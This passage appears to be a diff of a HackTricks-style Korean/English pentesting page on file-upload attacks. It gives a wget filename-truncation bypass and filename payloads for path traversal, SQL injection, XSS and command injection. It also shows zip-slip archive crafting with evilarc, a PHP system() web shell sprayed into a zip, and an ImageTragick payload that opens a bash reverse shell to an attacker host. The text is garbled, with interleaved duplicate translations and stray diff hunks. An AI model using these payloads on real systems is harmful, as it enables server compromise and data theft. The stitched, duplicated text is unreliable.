페이로드의 실행은 설정 파일(configuration file)의 파싱 과정에서 발생합니다. 설정이 활성화되어 파싱되려면 uWSGI 프로세스를 재시작해야 하며(잠재적으로는 크래시 후이거나 Denial of Service 공격으로 인해) 또는 파일이 auto-reload로 설정되어 있어야 합니다. auto-reload 기능이 활성화되어 있으면 변경을 감지했을 때 지정된 간격으로 파일을 다시 로드합니다.
uWSGI의 구성 파일 파싱의 느슨한 특성을 이해하는 것이 중요합니다. 특히, 논의된 페이로드는 이진 파일(예: 이미지 또는 PDF)에 삽입될 수 있어 잠재적인 악용 범위를 더욱 넓힙니다.
uWSGI의 설정 파일 파싱이 느슨하다는 점을 이해하는 것이 중요합니다. 구체적으로, 논의된 payload는 이미지나 PDF와 같은 바이너리 파일에 삽입될 수 있어 잠재적인 악용 범위를 더욱 넓힙니다.
## **wget 파일 업로드/SSRF 트릭**
## **wget File Upload/SSRF Trick**
일부 경우에 서버가 **`wget`**을 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있는 경우가 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 보장할 수 있습니다. 그러나 **이 검사를 우회할 수 있습니다.**\
**리눅스**에서 **파일 이름**의 **최대** 길이는 **255**자이지만, **wget**은 파일 이름을 **236**자로 잘라냅니다. **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**할 수 있으며, 이 파일 이름은 **검사**를 **우회**할 것입니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 그러나 `wget`은 파일 이름을 **"A"\*232+".php"**로 **변경**합니다.
어떤 경우 서버가 **`wget`**을 사용해 **파일을 다운로드**하고 사용자가 **URL**을 **지정**할 수 있습니다. 이런 경우 코드가 다운로드된 파일의 확장자가 허용 목록(whitelist)에 포함되어 있는지 검사해서 허용된 파일만 다운로드되도록 할 수 있습니다. 그러나, **이 체크는 우회될 수 있습니다.**\
**최대** 길이의 **파일명**은 **linux**에서 **255**이지만, **`wget`**은 파일명을 **236**자로 자릅니다. 당신은 "A"\*232+".php"+".gif"라는 파일을 다운로드할 수 있는데, 이 파일명은 체크를 우회합니다(이 예에서 ".gif"는 유효한 확장자이므로) 하지만 `wget`은 파일명을 "A"\*232+".php"로 변경합니다.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -154,80 +155,85 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
다른 옵션으로 이 검사를 우회하기 위해 생각할 수 있는 것은 **HTTP 서버가 다른 파일로 리디렉션**하도록 하는 것입니다. 이렇게 하면 초기 URL이 검사를 우회하고 wget이 새 이름으로 리디렉션된 파일을 다운로드하게 됩니다. 이는 **wget이 `--trust-server-names` 매개변수와 함께 사용되지 않는 한 작동하지 않습니다**. 왜냐하면 **wget은 원래 URL에 표시된 파일 이름으로 리디렉션된 페이지를 다운로드하기 때문입니다**.
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
## 도구
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass)는 Pentesters와 Bug Hunters가 파일 업로드 메커니즘을 테스트하는 데 도움을 주기 위해 설계된 강력한 도구입니다. 다양한 버그 바운티 기법을 활용하여 취약점을 식별하고 악용하는 과정을 단순화하여 웹 애플리케이션에 대한 철저한 평가를 보장합니다.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
## 파일 업로드에서 다른 취약점으로
### Corrupting upload indices with snprintf quirks (historical)
- **filename**을 `../../../tmp/lol.png`로 설정하고 **경로 탐색**을 시도합니다.
- **filename**을 `sleep(10)-- -.jpg`로 설정하면 **SQL 인젝션**을 달성할 수 있습니다.
- **filename**을 `<svg onload=alert(document.domain)>`로 설정하여 XSS를 달성합니다.
- **filename**을 `; sleep 10;`으로 설정하여 일부 명령 주입을 테스트합니다 (더 많은 [명령 주입 트릭은 여기](../command-injection.md)에서 확인하세요).
일부 레거시 upload handlers는 `snprintf()` 또는 유사한 함수를 사용해 single-file upload에서 multi-file 배열을 구성하는데, 이를 속여 `_FILES` 구조를 위조할 수 있습니다. `snprintf()` 동작의 불일치와 잘림(truncation) 때문에 정교하게 제작된 단일 업로드가 서버 측에서 여러 인덱스된 파일로 보일 수 있으며, 엄격한 구조를 가정하는 로직(e.g., multi-file upload로 처리하여 안전하지 않은 분기를 택함)을 혼란시킬 수 있습니다. 오늘날에는 드물지만, 이 “index corruption” 패턴은 가끔 CTF나 오래된 코드베이스에서 다시 나타납니다.
## From File upload to other vulnerabilities
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** 파일 **업로드** + **XSS** = [**Service Workers** 악용](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 **다양한 svg 페이로드**를 시도해 보세요.
- [유명한 **ImageTrick** 취약점](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- **URL에서 이미지를 가져오도록 웹 서버를 지정할 수 있다면**, [SSRF](../ssrf-server-side-request-forgery/index.html)를 악용할 수 있습니다. 이 **이미지**가 어떤 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 훔칠** 수 있습니다.
- [**XXE 및 CORS** 우회 PDF-Adobe 업로드](pdf-upload-xxe-and-cors-bypass.md)
- XSS를 위한 특별히 제작된 PDF: [다음 페이지는 **PDF 데이터를 주입하여 JS 실행을 얻는 방법**을 제시합니다](../xss-cross-site-scripting/pdf-injection.md). PDF를 업로드할 수 있다면, 주어진 지침에 따라 임의의 JS를 실행할 PDF를 준비할 수 있습니다.
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 콘텐츠를 업로드하여 서버에 **안티바이러스**가 있는지 확인합니다.
- 파일 업로드 시 **크기 제한**이 있는지 확인합니다.
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Check if there is any **size limit** uploading files
여기 업로드를 통해 달성할 수 있는 10가지 목록이 있습니다 (출처: [여기](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: 웹쉘 / RCE
2. **SVG**: 저장된 XSS / SSRF / XXE
3. **GIF**: 저장된 XSS / SSRF
4. **CSV**: CSV 인젝션
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
4. **CSV**: CSV injection
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS**: HTML 인젝션 / XSS / 오픈 리디렉션
8. **PNG / JPEG**: 픽셀 플러드 공격 (DoS)
9. **ZIP**: LFI를 통한 RCE / DoS
7. **HTML / JS** : HTML injection / XSS / Open redirect
8. **PNG / JPEG**: Pixel flood attack (DoS)
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Burp 확장
#### Burp Extension
{{#ref}}
https://github.com/portswigger/upload-scanner
{{#endref}}
## 매직 헤더 바이트
## Magic Header Bytes
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
다른 파일 형식에 대한 정보는 [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)를 참조하세요.
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
## Zip/Tar 파일 자동 압축 해제 업로드
## Zip/Tar File Automatically decompressed Upload
서버 내에서 압축 해제될 ZIP 파일을 업로드할 수 있다면, 두 가지 작업을 수행할 수 있습니다:
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
### 심볼릭 링크
### Symlink
다른 파일에 대한 소프트 링크를 포함하는 링크를 업로드한 다음, 압축 해제된 파일에 접근하여 링크된 파일에 접근할 수 있습니다:
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### 다른 폴더 압축 해제
### 다른 폴더 압축 해제
압축 해제 중 디렉토리에 파일이 예기치 않게 생성되는 것은 중요한 문제입니다. 이 설정이 악의적인 파일 업로드를 통한 OS 수준의 명령 실행을 방지할 것이라는 초기 가정에도 불구하고, ZIP 아카이브 형식의 계층적 압축 지원 및 디렉토리 탐색 기능이 악용될 수 있습니다. 이를 통해 공격자는 제한을 우회하고 대상 애플리케이션의 압축 해제 기능을 조작하여 안전한 업로드 디렉토리를 탈출할 수 있습니다.
압축 해제 중 디렉터리에 예상치 못하게 파일이 생성되는 문제는 심각합니다. 처음에는 이러한 설정이 악성 파일 업로드로 인한 OS-level command execution을 방지할 수 있다고 생각할 수 있지만, ZIP 아카이브 포맷의 계층적 압축 지원과 directory traversal 기능을 악용하면 우회가 가능합니다. 이를 통해 공격자는 대상 애플리케이션의 decompression 기능을 조작하여 제약을 무력화하고 안전한 업로드 디렉터리를 탈출할 수 있습니다.
이러한 파일을 생성하기 위한 자동화된 익스플로잇은 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)에서 사용할 수 있습니다. 유틸리티는 다음과 같이 사용할 수 있습니다:
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
추가적으로, **evilarc와 함께하는 symlink 트릭**은 옵션입니다. 목표가 `/flag.txt`와 같은 파일을 타겟으로 하는 경우, 해당 파일에 대한 symlink를 시스템에 생성해야 합니다. 이는 evilarc가 작동 중 오류를 겪지 않도록 보장합니다.
또한, **symlink trick with evilarc** 는 하나의 옵션입니다. 목표가 `/flag.txt` 같은 파일을 대상으로 하는 경우, 해당 파일을 가리키는 symlink를 시스템에 생성해야 합니다. 이렇게 하면 evilarc가 동작 중에 오류를 겪지 않습니다.
아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드의 예입니다:
```python
@ -247,11 +253,11 @@ zip.close()
create_zip()
```
**압축을 이용한 파일 스프레이**
**압축 악용을 통한 file spraying**
자세한 내용은 **원본 게시물을 확인하세요**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
자세한 내용은 **원문 게시글을 확인하세요**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **PHP 셸 생성**: PHP 코드는 `$_REQUEST` 변수를 통해 전달된 명령을 실행하도록 작성됩니다.
1. **Creating a PHP Shell**: PHP 코드는 `$_REQUEST` 변수를 통해 전달된 명령을 실행하도록 작성됩니다.
```php
<?php
@ -261,14 +267,14 @@ system($cmd);
}?>
```
2. **파일 스프레이 및 압축 파일 생성**: 여러 파일이 생성되고 이 파일들을 포함하는 zip 아카이브가 조립됩니다.
2. **File Spraying and Compressed File Creation**: 여러 파일을 생성한 뒤, 이 파일들을 포함하는 zip 아카이브를 만듭니다.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Hex 편집기 또는 vi로 수정**: zip 내부의 파일 이름을 vi 또는 hex 편집기를 사용하여 "xxA"를 "../"로 변경하여 디렉토리를 탐색합니다.
3. **Modification with a Hex Editor or vi**: zip 내부 파일 이름을 vi 또는 hex editor로 변경하여 "xxA"를 "../"로 바꿔 디렉토리 트래버스합니다.
```bash
:set modifiable
@ -278,40 +284,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
이 콘텐츠를 이미지 확장자로 업로드하여 취약점을 악용하세요 **(ImageMagick , 7.0.1-1)** (형태 [exploit](https://www.exploit-db.com/exploits/39767))
이 콘텐츠를 이미지 확장자로 업로드하면 취약점 **(ImageMagick , 7.0.1-1)** 을 악용할 수 있습니다 (form the [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## PNG에 PHP 셸 삽입
## PNG에 PHP Shell 내장
PNG 파일의 IDAT 청크에 PHP 셸을 삽입하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 `imagecopyresized``imagecopyresampled` 함수는 각각 이미지를 크기 조정하고 재샘플링하는 데 일반적으로 사용되므로 이 맥락에서 특히 관련이 있습니다. 삽입된 PHP 셸이 이러한 작업의 영향을 받지 않는 능력은 특정 사용 사례에 있어 중요한 장점입니다.
PNG 파일의 IDAT chunk에 PHP shell을 내장하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 `imagecopyresized``imagecopyresampled` 함수는 각각 이미지 리사이징 및 리샘플링에 일반적으로 사용되므로 이 맥락에서 특히 관련이 있습니다. 내장된 PHP shell이 이러한 작업의 영향을 받지 않는다는 점은 특정 상황에서 큰 이점입니다.
이 기술에 대한 자세한 탐구, 방법론 및 잠재적 응용 프로그램은 다음 기사에서 제공됩니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 프로세스와 그 의미에 대한 포괄적인 이해를 제공합니다.
이 기술의 방법론과 잠재적 응용을 포함한 자세한 탐구는 다음 글에서 확인할 수 있습니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 프로세스와 그 함의를 포괄적으로 이해하는 데 도움이 됩니다.
자세한 정보는: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## 폴리글롯 파일
## Polyglot Files
폴리글롯 파일은 사이버 보안에서 독특한 도구로 작용하며, 여러 파일 형식에서 동시에 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 GIF와 RAR 아카이브로 기능하는 하이브리드인 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있습니다. 이러한 파일은 이 조합에 국한되지 않으며, GIF와 JS 또는 PPT와 JS와 같은 조합도 가능합니다.
Polyglot files는 사이버보안에서 독특한 도구로, 여러 파일 형식에 동시에 유효하게 존재할 수 있는 카멜레온처럼 동작합니다. 흥미로운 예로 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있는데, 이는 GIF와 RAR 아카이브 둘 다로 작동하는 하이브리드입니다. 이러한 파일 조합은 이 페어링에 국한되지 않으며 GIF와 JS, PPT와 JS 같은 조합도 가능합니다.
폴리글롯 파일의 핵심 유용성은 파일 유형에 따라 파일을 스크리닝하는 보안 조치를 우회할 수 있는 능력에 있습니다. 다양한 애플리케이션에서 일반적인 관행은 JPEG, GIF 또는 DOC와 같은 특정 파일 유형만 업로드를 허용하여 잠재적으로 해로운 형식(예: JS, PHP 또는 Phar 파일)으로 인한 위험을 완화하는 것입니다. 그러나 폴리글롯은 여러 파일 유형의 구조적 기준을 준수함으로써 이러한 제한을 은밀하게 우회할 수 있습니다.
polyglot files의 핵심 유용성은 파일 유형 기반으로 파일을 필터링하는 보안 조치를 우회할 수 있다는 점에 있습니다. 많은 애플리케이션에서는 잠재적으로 위험한 형식(e.g., JS, PHP, 또는 Phar 파일)을 줄이기 위해 JPEG, GIF 또는 DOC 같은 특정 파일 유형만 업로드를 허용하는 경우가 일반적입니다. 그러나 polyglot은 다중 파일 형식의 구조적 조건을 동시에 충족함으로써 이러한 제한을 은밀히 우회할 수 있습니다.
그들의 적응성에도 불구하고, 폴리글롯은 한계에 직면합니다. 예를 들어, 폴리글롯이 PHAR 파일(PHp ARchive)과 JPEG를 동시에 포함할 수 있지만, 업로드의 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면, 폴리글롯의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없습니다.
적응성에도 불구하고 polyglots는 한계에 봉착하기도 합니다. 예를 들어, polyglot이 PHAR 파일(PHp ARchive)과 JPEG를 동시에 겸할 수는 있지만, 업로드 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용 가능한 확장자에 대해 엄격하다면 polyglot의 단순한 구조적 이중성만으로는 업로드를 보장하지 못할 수 있습니다.
자세한 정보는: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### PDF처럼 유효한 JSON 업로드하기
### PDF인 것처럼 유효한 JSON 업로드
PDF 파일로 위장하여 허용되지 않는 경우에도 유효한 JSON 파일을 업로드하여 파일 유형 감지를 피하는 방법(기술은 **[이 블로그 게시물](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**에서 제공됨):
허용되지 않은 경우에도 PDF 파일로 위조하여 유효한 JSON 파일을 업로드함으로써 파일 타입 탐지를 회피하는 방법 (기법 출처: **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` 라이브러리**: `%PDF` 매직 바이트가 처음 1024 바이트에 있으면 유효합니다(게시물에서 예제 가져오기)
- **`pdflib` 라이브러리**: JSON의 필드 안에 가짜 PDF 형식을 추가하여 라이브러리가 PDF로 인식하게 합니다(게시물에서 예제 가져오기)
- **`file` 바이너리**: 파일에서 최대 1048576 바이트를 읽을 수 있습니다. JSON보다 큰 파일을 생성하여 JSON으로 내용을 구문 분석할 수 없게 한 다음, JSON 안에 실제 PDF의 초기 부분을 넣으면 PDF로 인식합니다.
- **`mmmagic` library**: 처음 1024바이트 내에 `%PDF` 매직 바이트가 있으면 유효하다고 판단됩니다 (예시는 해당 글 참조).
- **`pdflib` library**: JSON의 필드 안에 가짜 PDF 포맷을 추가해 라이브러리가 이를 PDF로 인식하게 합니다 (예시 참조).
- **`file` binary**: 파일에서 최대 1048576 바이트까지 읽을 수 있습니다. 따라서 JSON을 그보다 크게 만들어 `file`이 내용을 JSON으로 파싱하지 못하게 한 뒤, JSON 내부에 실제 PDF의 초기 부분을 넣으면 PDF로 인식합니다.
## 참고 문헌
## 참고자료
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -320,5 +326,6 @@ PDF 파일로 위장하여 허용되지 않는 경우에도 유효한 JSON 파
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}